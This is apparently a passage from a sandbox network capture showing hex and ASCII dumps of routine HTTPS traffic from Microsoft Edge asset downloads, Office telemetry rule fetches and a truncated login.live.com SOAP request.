2024-11-09 21:09:45 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-09 21:09:46 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-09 21:09:46 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-09 21:09:46 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-09 21:09:46 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-09 21:09:46 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-09 21:09:46 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49877	13.107.246.57	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:45 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:45 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:45 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: e335897b-a01e-0007-3434-2f9e82000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241109T210945Z-16547b76f7f775p5hC1DFWzdvn0000000bsg000000000k4h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:45 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49878	13.107.246.57	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:45 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:45 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:45 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 72e8a890-701e-0068-5ba3-2c3656000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241109T210945Z-16547b76f7fcrtpchC1DFW52e80000000bm000000000s216 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-09 21:09:45 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:46 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:46 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:46 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 289a03c5-801e-0015-6466-2ff97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210946Z-15869dbbcc6bmgjfhC1DFWzfzs000000031g00000000farv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:46 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:46 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:46 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 680c0461-b01e-0084-12da-2fd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210946Z-17df447cdb54qlp6hC1DFWqcfc0000000810000000004zxg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:46 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:46 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:46 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:46 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 4e98fbea-b01e-0002-08d2-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210946Z-16547b76f7f7scqbhC1DFW0m5w0000000bg000000000dq5v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:46 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:46 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:46 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a14a0ed7-201e-0096-78aa-31ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210946Z-15869dbbcc6lq45jhC1DFWbkc800000005k000000000106f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:46 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:46 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:46 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: b265e394-401e-00a3-2a49-328b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210946Z-17df447cdb56j5xmhC1DFWn918000000080000000000k2k0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:46 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	49890	40.126.32.72	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:46 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-09 21:09:46 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" 